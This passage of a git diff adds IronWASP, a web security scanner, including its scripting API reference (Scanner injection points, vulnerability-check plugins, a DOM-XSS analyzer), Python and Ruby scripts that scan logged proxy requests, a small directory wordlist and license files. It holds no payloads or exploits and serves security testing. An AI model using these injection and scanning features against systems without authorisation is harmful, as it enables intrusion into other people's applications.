+ Response object recieved for the Request + + + void + Updates the CookieStore with the Response object's SetCookie headers + + + add(string Host, string Cookie) + Non-Static + + + string + Host + Hostname of the site + + + string + Cookie + Cookie header as a string Eg: "SessionID=sad797asjd2323" + + + void + Updates the CookieStore with the Cookie against the specified Hostname + + + get_cookies() + Non-Static + + + set_cookie_[] + Returns a list of SetCookie objects that represent all the cookies stored inside the CookieStore object + + + get_cookies(Request Req) + Non-Static + + + Request + Req + Request that must be sent to the server + + + set_cookie_[] + Returns a list of SetCookie objects that represent the matching cookies stored inside the CookieStore object. Matches are done on the Hostname and Path of the Request object and the stored cookies. + + + + + HTML + Non-Static + A class that represents a HTML document and contains methods to traverse it. + + + HTML.new(string HtmlString) + Creates a HTML object from raw string containg HTML tags + + + string + HtmlString + String containg HTML tags, usually the Response Body. + + + + + + + links + string[] + Non-Static + Lists all the links contained in the HTML document + + + comments + string[] + Non-Static + Lists all the comments contained in the HTML document + + + html + HtmlDocument + Non-Static + The base HtmlDocument object of HtmlAgilityPack + + + + + load(string HtmlString) + Non-Static + + void + Updates the HTML object with new HtmlString + + + get(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string_[] + Returns all the elements of the given name as strings. [i[br]]Eg: my_html.get("script") + + + get(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string_[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("script","src") + + + get(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string_[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("*","class","code") + + + get_values(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload' etc + + + string_[] + Returns the matching atrribute values as list of strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("script","src") + + + get_values(string ElementName, string AttributeName, string AttributeValues, string InterestedAttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload', 'id' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string + InterestedAttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload', 'id' etc + + + string_[] + Returns the interested attribute values as list of strings from the elements matched by the element name and containing the provided attribute name/value pair. the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("a", "class", "left_nav", "href") will get the 'href' values of only those 'a' tags that have a 'class' attribute with value 'left_nav' + + + get_meta_content(string MetaAttributeName, string MetaAttributeValue) + Non-Static + + + string + MetaAttributeName + Name of an HTML Meta tag attribute. Eg: 'http-equiv' + + + string + MetaAttributeValue + Value of the attributes mentioned by the MetaAttributeName parameter. Eg: 'set-cookie' (in case of attribute name 'http-equiv') + + + string_[] + Returns the value of the 'content' attribute of 'meta' HTML tag that have an attribute matching MetaAttributeName with its value matching as MetaAttributeValue, as list of strings. [i[br]]Eg: my_html.GetMetaContent("http-equiv", "set-cookie") + + + get_nodes(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + html_node_collection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack. [i[br]]Eg: my_html.get("script") + + + get_nodes(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + html_node_collection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("script","src") + + + get_nodes(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + html_node_collection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("*","class","code") + + + query(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a" + + + string_[] + Returns all the elements of the given Html object that matched the Xpath Query as strings. [i[br]]Eg: my_html.QueryNodes("//a") + + + query_nodes(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + html_node_collection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + query_values(string XpathQuery, string AttributeName) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + string + AttributeName + Name of the Attribute whose value must be returned + + + string_[] + Returns an array of strings containing the value of the Attribute from the Nodes that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + get_forms() + Non-Static + + + html_node_[] + Returns an array of HtmlNode(HtmlAgilityPack) objects that represent the Forms in the Html object. The HtmlNodes only contain the Form and Input Html elements, unnecessary elements are stripped off. + + + get_java_script() + Non-Static + + + string_[] + Returns an array of string containing all the JavaScript from the Script tags and event attributes of the Html + + + get_java_script(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only JavaScript snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the JavaScript that contain the Keyword, from the Script tags and event attributes of the Html + + + get_visual_basic() + Non-Static + + + string_[] + Returns an array of string containing all the VisualBasic from the Script tags of the Html + + + get_visual_basic(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only VisualBasic snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the VisualBasic that contain the Keyword, from the Script tags of the Html + + + get_css() + Non-Static + + + string_[] + Returns an array of string containing all the CSS from the Style tags and style attributes of the Html + + + get_css(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only CSS snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the CSS that contain the Keyword, from the Style tags and style attributes of the Html + + + xpath_safe(string Input) + Non-Static + + + string + Input + The value that must be made Xpath safe + + + string + Takes the input string and returns an ouput that is fit to be used as an attribute value in a Xpath query. + + + get_context(string Keyword) + Non-Static + + + string + Keyword + The Keyword whose context must be found + + + string_[] + Checks the occurances of the Keyword in the Html and returns the contexts. + + + + + ActivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on the a webpage through active interaction. + + + + + name + string + Non-Static + Name of the Active Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(ActivePlugin NewActivePluginObject) + Static + + + ActivePlugin + NewActivePluginObject + New ActivePlugin Object + + + void + Adds a new Active Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the ActivePlugin + + + active_plugin + Returns a ActivePlugin of the given name from IronWASP's internal list. [i[br]]Eg: ActivePlugin.get("Cross-site Scripting") + + + list() + Static + + string_[] + Returns the names of all ActivePlugins currently present in IronWASP's internal list. + + + check(Request Req, Scanner Scan) + Non-Static + + + Request + Req + The Request that is being scanned + + + Scanner + Scan + The Scanner object that is calling this Active Plugin + + + void + This method contains the vulnerability checking logic of this particular ActivePlugin and performs the required check. + + + + + PassivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on requests/responses passively. + + + + + name + string + Non-Static + Name of the Passive Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(PassivePlugin NewPassivePluginObject) + Static + + + PassivePlugin + NewPassivePluginObject + New PassivePlugin Object + + + void + Adds a new Passive Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the PassivePlugin + + + passive_plugin + Returns a PassivePlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all PassivePlugins currently present in IronWASP's internal list. + + + check(Session Sess, PluginResults Results) + Non-Static + + + Session + Sess + The Session object that is being passively scanned + + + PluginResults + Results + The object that will hold the findings of the check if any. + + + void + This method contains the vulnerability checking logic of this particular PassivePlugin and performs the required check. + + + + + FormatPlugin + Non-Static + An IronPython or IronRuby script that can convert an object of any special format to xml and back. + + + + + name + string + Non-Static + Name of the Format Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(FormatPlugin NewFormatPluginObject) + Static + + + FormatPlugin + NewFormatPluginObject + New FormatPlugin Object + + + void + Adds a new Format Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the FormatPlugin + + + format_plugin + Returns a FormatPlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all FormatPlugins currently present in IronWASP's internal list. + + + xml_to_array(string Xml) + Static + + + string + Xml + The Xml must be converted in to array + + + string_[,] + Converts the Xml input in to a two-dimensional array and returns it. The two-dimensional array holds the values in the Xml and the node path of the values. This information is used for fuzzing the Xml. + + + inject_in_xml(string Xml, int InjectionPosition, string ValueToString) + Static + + + string + Xml + The Xml in to which a value must be injected + + + int + InjectionPosition + The position in the Xml where the value must be injected. This is the index of the value in the two-dimensional array returned by FormatPlugin.XmlToArray(Xml) + + + string + ValueToString + The value that must be injected in to the Xml + + + string + Inserts a value in to the specified position in the Xml and returns the updated Xml. This method is used in fuzzing Xml based data or data of any format that gets converted to Xml by the approriate FormatPlugin + + + + + SessionPlugin + Non-Static + An IronPython or IronRuby script that would contain methods to define a specific web application's custom behaviour. + + + + + name + string + Non-Static + Name of the Session Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(SessionPlugin NewSessionPluginObject) + Static + + + SessionPlugin + NewSessionPluginObject + New SessionPlugin Object + + + void + Adds a new Session Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the SessionPlugin + + + format_plugin + Returns a SessionPlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all SessionPlugins currently present in IronWASP's internal list. + + + + + Scanner + Non-Static + A class to create a custom security scanner by determining injection points and active plugins. + + + Scanner.new(Request RequestToScan) + Creates a new Scanner object based on the Request + + + Request + RequestToScan + A request that would be scanned by the scanner object. + + + + + + + session_handler + SessionPlugin + Non-Static + Session plugin assosiated with this scanner to control its behaviour + + + body_format + FormatPlugin + Non-Static + Format Plugin associated with this scanner to represent the body of the scanner's request. + + + injected_section + string + Non-Static + Name of the section of the request that is being currently injected. Possible values are URL, Query, Body, Cookie and Headers. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_parameter + string + Non-Static + Name of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_url_path_position + int + Non-Static + The index of the UrlPathParts that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + pre_injection_parameter_value + string + Non-Static + Original value of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_request + Request + Non-Static + Request sent to the serer with some parameter injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injection_response + Response + Non-Static + Response returned from the server for InjectedRequest. [i[br]] (Only to be called within the ActivePlugin script) + + + + + add_check(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the active plugin that must be included in the scan. + + + void + Includes an Active Plugin to the scanner and calls it at scan time. + + + remove_check(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the ActivePlugin to be removed from the scanner + + + void + Removes the Active Plugins from the list of checks the scanner calls at scan time. + + + show_checks() + Non-Static + + string_[] + Returns the names of all ActivePlugins that will be called by the Scanner at scan time. + + + clear_checks() + Non-Static + + void + Removes all the Active Plugins that would have been called by the Scanner at scan time. + + + inject_all() + Non-Static + + void + Sets injection points in all Url positions, Query, Body, Cookie and Header parameters. + + + inject_url() + Non-Static + + void + Sets injection points in all Url positions. + + + inject_url(int UrlPosition) + Non-Static + + + int + UrlPosition + Zero based value of the Url position that must be injected + + + void + Sets an injection point at the specified Url position. + + + inject_query() + Non-Static + + void + Sets injection points in all Query parameter positions. + + + inject_query(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the query. + + + inject_query(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the query if multiple parameter exist with the same name. + + + inject_body() + Non-Static + + void + Sets injection points in all Body parameter positions. + + + inject_body(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Body. + + + inject_body(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the body if multiple parameter exist with the same name. + + + inject_body(int XmlArrayInjectionPoint) + Non-Static + + + int + XmlArrayInjectionPoint + A position inside the XmlInjectionPoints array + + + void + If a FormatPlugin is set then sets an injection point the specified point in the XmlInjectionPoints array. + + + inject_cookie() + Non-Static + + void + Sets injection points in all Cookie parameter positions. + + + inject_cookie(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Cookie. + + + inject_cookie(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the Cookie if multiple parameter exist with the same name. + + + inject_headers() + Non-Static + + void + Sets injection points in all Headers parameter positions. + + + inject_headers(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Headers. + + + inject_headers(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the Headers if multiple parameter exist with the same name. + + + launch_scan() + Non-Static + + void + Similar to scan() but instead of performing the scan in the current thread it queues the scan job in the 'AutomatedScanning' section. The scan logs will be updated in the 'ScanLog' grid instead of the 'ScriptingLog' grid. + + + inject(string Payload) + Non-Static + + + string + Payload + Payload to be injected + + + response + Injects the payload in the section of the request where the current injection pointer lies and returns the corresponding response. [i[br]] (Only to be called within the ActivePlugin script) + + + + + IronJint + Static + A JavaScript static analyzer to check for DOM-based XSS issues + + + + + + + trace(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + trace_result + Analyzes the JavaScript code for instances where DOM XSS Sources and Sinks are present including instances where Sources are assigned to Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + trace(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The Keyword that must be traced through the JavaScript + + + trace_result + Analyzes the JavaScript code for instances where the given keyword is assigned to DOM XSS Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + is_expression_statement(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The string value that must be checked for being an expression statement. + + + bool + Parses the input JavaScript code and checks if the keyword appears inside the JavaScript as an expression statement. + + + beautify(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be beautified + + + string + Properly formats the input code and returns a more readable version + + + + + TraceResult + Non-Static + Represents the result of JavaScript static analysis performed using the Trace method of IronJint. + + + + + source_line_nos + int[] + Non-Static + Line numbers that are tained by a DOM XSS source + + + sink_line_nos + int[] + Non-Static + Line numbers that are tained by a DOM XSS sink + + + source_to_sink_line_nos + int[] + Non-Static + Line numbers where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + source_lines + string[] + Non-Static + Lines that are tained by a DOM XSS source + + + sink_lines + string[] + Non-Static + Lines that are tained by a DOM XSS sink + + + source_to_sink_lines + string[] + Non-Static + Lines where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + keyword_contexts + string[] + Non-Static + If this is the result of IronJint.Trace(code, keyword) then list of contexts in which the given keyword is present in the JavaScript code is returned. + + + lines + string[] + Non-Static + All the lines of the cleaned up version of the input JavaScript code. + + + + + + + GlobalStore + Static + A store for all types of objects that can be accessed from any part of the tool. + + + + + + + put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + remove(string Name) + Static + + + string + Name + Name of the object stored + + + void + Removes the object matching the name from the store. + + + + + ThreadStore + Static + A store for all types of objects that is specific to a thread on which it is called. Objects stored in a ThreadStore are only accessible to calls made from the same thread. + + + + + + + put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + remove(string Name) + Static + + + string + Name + Name of the object stored + + + void + Removes the object matching the name from the store. + + + clear() + Static + + + void + Removes all the objects stored from calling thread. Objects stored from other threads are not affected. + + + this_thread() + Static + + + int + Returns the Thread ID of the thread from this this call is made. + + + + + Config + Static + A class that holds some information about the tool. + + + + + path + string + Static + [READ-ONLY]Returns the full path of the location of the IronWASP binary in the file system. + + + + + + Calls used to instantiate the Class. + Static and Non-Static variables available in the Class + Static and Non-Static Function calls available in the Class. + Members of the Enum class. + \ No newline at end of file diff --git a/Antlr3.Runtime.dll b/Antlr3.Runtime.dll new file mode 100644 index 0000000..fb3ac4e Binary files /dev/null and b/Antlr3.Runtime.dll differ diff --git a/ApiScript.py b/ApiScript.py new file mode 100644 index 0000000..ce71408 --- /dev/null +++ b/ApiScript.py @@ -0,0 +1,39 @@ +from IronWASP import * + +def start_log_range(req, res): + GlobalStore.Put("log_start_py_api", Config.LastProxyLogId + 1) + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/log_range_start", start_log_range) + +def end_log_range(req, res): + GlobalStore.Put("log_end_py_api", Config.LastProxyLogId) + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/log_range_end", end_log_range) + +def scan_log_range(req, res): + start_id = GlobalStore.Get("log_start_py_api") + end_id = GlobalStore.Get("log_end_py_api") + for i in range(start_id, end_id + 1): + r = Request.FromProxyLog(i) + s = Scanner(r) + if r.Query.Count > 0 or r.Body.Count > 0: + s.InjectQuery() + s.InjectBody() + s.CheckAll() + s.LaunchScan() + res.BodyString = "OK" + +ApiCallHandler.AddHandler("/py/scan_log_range", scan_log_range) + + +def connection_check(req, res): + res.BodyString = "OK" + +ApiCallHandler.AddHandler("connection_check", connection_check) + +def passpharse_check(req, res): + res.BodyString = "OK" + +ApiCallHandler.AddHandler("passpharse_check", connection_check) diff --git a/ApiScript.rb b/ApiScript.rb new file mode 100644 index 0000000..bbdea0d --- /dev/null +++ b/ApiScript.rb @@ -0,0 +1,36 @@ +include IronWASP + +def start_log_range(req, res) + GlobalStore.put("log_start_rb_api", Config.last_proxy_log_id + 1) + res.body_string = "OK" +end + +start_log_range_l = lambda{|req, res| start_log_range(req, res)} +ApiCallHandler.add_handler("/rb/log_range_start", start_log_range_l) + +def end_log_range(req, res) + GlobalStore.put("log_end_rb_api", Config.last_proxy_log_id) + res.body_string = "OK" +end + +end_log_range_l = lambda{|req, res| end_log_range(req, res)} +ApiCallHandler.add_handler("/rb/log_range_end", end_log_range_l) + +def scan_log_range(req, res) + start_id = GlobalStore.get("log_start_rb_api") + end_id = GlobalStore.get("log_end_rb_api") + (start_id..end_id).each do |i| + r = Request.from_proxy_log(i) + s = Scanner.new(r) + if r.query.count > 0 or r.body.count > 0 + s.inject_query + s.inject_body + s.check_all + s.launch_scan + end + end + res.body_string = "OK" +end + +scan_log_range_l = lambda{|req, res| scan_log_range(req, res)} +ApiCallHandler.add_handler("/rb/scan_log_range", scan_log_range_l) diff --git a/Be.Windows.Forms.HexBox.dll b/Be.Windows.Forms.HexBox.dll new file mode 100644 index 0000000..318d8b8 Binary files /dev/null and b/Be.Windows.Forms.HexBox.dll differ diff --git a/COPYRIGHT.txt b/COPYRIGHT.txt new file mode 100644 index 0000000..86b4e49 --- /dev/null +++ b/COPYRIGHT.txt @@ -0,0 +1,13 @@ +Copyright 2011-2012 Lavakumar Kuppan + +IronWASP is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 3 of the License. + +IronWASP is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IronWASP. If not, see . diff --git a/CssFx.dll b/CssFx.dll new file mode 100644 index 0000000..5547e65 Binary files /dev/null and b/CssFx.dll differ diff --git a/DemoApp.exe b/DemoApp.exe new file mode 100644 index 0000000..c516b0a Binary files /dev/null and b/DemoApp.exe differ diff --git a/Diff.dll b/Diff.dll new file mode 100644 index 0000000..e053e15 Binary files /dev/null and b/Diff.dll differ diff --git a/DiffPlex.dll b/DiffPlex.dll new file mode 100644 index 0000000..8770b63 Binary files /dev/null and b/DiffPlex.dll differ diff --git a/DirNamesDictionary.txt b/DirNamesDictionary.txt new file mode 100644 index 0000000..50ed994 --- /dev/null +++ b/DirNamesDictionary.txt @@ -0,0 +1,2 @@ +admin +uploads diff --git a/ExternalLicenses/BeHexEditor License.txt b/ExternalLicenses/BeHexEditor License.txt new file mode 100644 index 0000000..fd87e6c --- /dev/null +++ b/ExternalLicenses/BeHexEditor License.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/ExternalLicenses/CssCompactor License.txt b/ExternalLicenses/CssCompactor License.txt new file mode 100644 index 0000000..8bbc154 --- /dev/null +++ b/ExternalLicenses/CssCompactor License.txt @@ -0,0 +1,23 @@ +Distributed under the terms of an MIT-style license: + +The MIT License + +Copyright (c) 2006-2009 Stephen M. McKamey + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/ExternalLicenses/Diff License.txt b/ExternalLicenses/Diff License.txt new file mode 100644 index 0000000..1caef28 --- /dev/null +++ b/ExternalLicenses/Diff License.txt @@ -0,0 +1,12 @@ +Software License Agreement (BSD License) +Copyright (c) 2005-2009 by Matthias Hertel, http://www.mathertel.de/ + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +Neither the name of the copyright owners nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + diff --git a/ExternalLicenses/DiffPlex License.txt b/ExternalLicenses/DiffPlex License.txt new file mode 100644 index 0000000..4b1d2c4 --- /dev/null +++ b/ExternalLicenses/DiffPlex License.txt @@ -0,0 +1,50 @@ +Microsoft Public License (Ms-PL) + +This license governs use of the accompanying software. If you use the software, +you accept this license. If you do not accept the license, do not use the software. + +1. Definitions + +The terms "reproduce," "reproduction," "derivative works," and "distribution" +have the same meaning here as under U.S. copyright law. + +A "contribution" is the original software, or any additions or changes to the software. + +A "contributor" is any person that distributes its contribution under this license. + +"Licensed patents" are a contributor's patent claims that read directly on its contribution. + +2. Grant of Rights + +(A) Copyright Grant- Subject to the terms of this license, including the license conditions +and limitations in section 3, each contributor grants you a non-exclusive, worldwide, +royalty-free copyright license to reproduce its contribution, prepare derivative works +of its contribution, and distribute its contribution or any derivative works that you create. + +(B) Patent Grant- Subject to the terms of this license, including the license conditions +and limitations in section 3, each contributor grants you a non-exclusive, worldwide, +royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, +import, and/or otherwise dispose of its contribution in the software or derivative works of +the contribution in the software. + +3. Conditions and Limitations + +(A) No Trademark License- This license does not grant you rights to use any contributors' +name, logo, or trademarks. + +(B) If you bring a patent claim against any contributor over patents that you claim are +infringed by the software, your patent license from such contributor to the software ends automatically. + +(C) If you distribute any portion of the software, you must retain all copyright, patent, +trademark, and attribution notices that are present in the software. + +(D) If you distribute any portion of the software in source code form, you may do so only under +this license by including a complete copy of this license with your distribution. If you distribute +any portion of the software in compiled or object code form, you may only do so under a license +that complies with this license. + +(E) The software is licensed "as-is." You bear the risk of using it. The contributors give no +express warranties, guarantees or conditions. You may have additional consumer rights under +your local laws which this license cannot change. To the extent permitted under your local laws, +the contributors exclude the implied warranties of merchantability, fitness for a particular +purpose and non-infringement. \ No newline at end of file diff --git a/ExternalLicenses/DotNetZip License.txt b/ExternalLicenses/DotNetZip License.txt new file mode 100644 index 0000000..21e415b --- /dev/null +++ b/ExternalLicenses/DotNetZip License.txt @@ -0,0 +1,33 @@ +Copyright (c) 2009-2010 Dino Chiesa + +Microsoft Public License (Ms-PL) + +This license governs use of the accompanying software. If you use the software, you accept this license. If you do not accept the license, do not use the software. + +1. Definitions + +The terms "reproduce," "reproduction," "derivative works," and "distribution" have the same meaning here as under U.S. copyright law. + +A "contribution" is the original software, or any additions or changes to the software. + +A "contributor" is any person that distributes its contribution under this license. + +"Licensed patents" are a contributor's patent claims that read directly on its contribution. + +2. Grant of Rights + +(A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create. + +(B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative 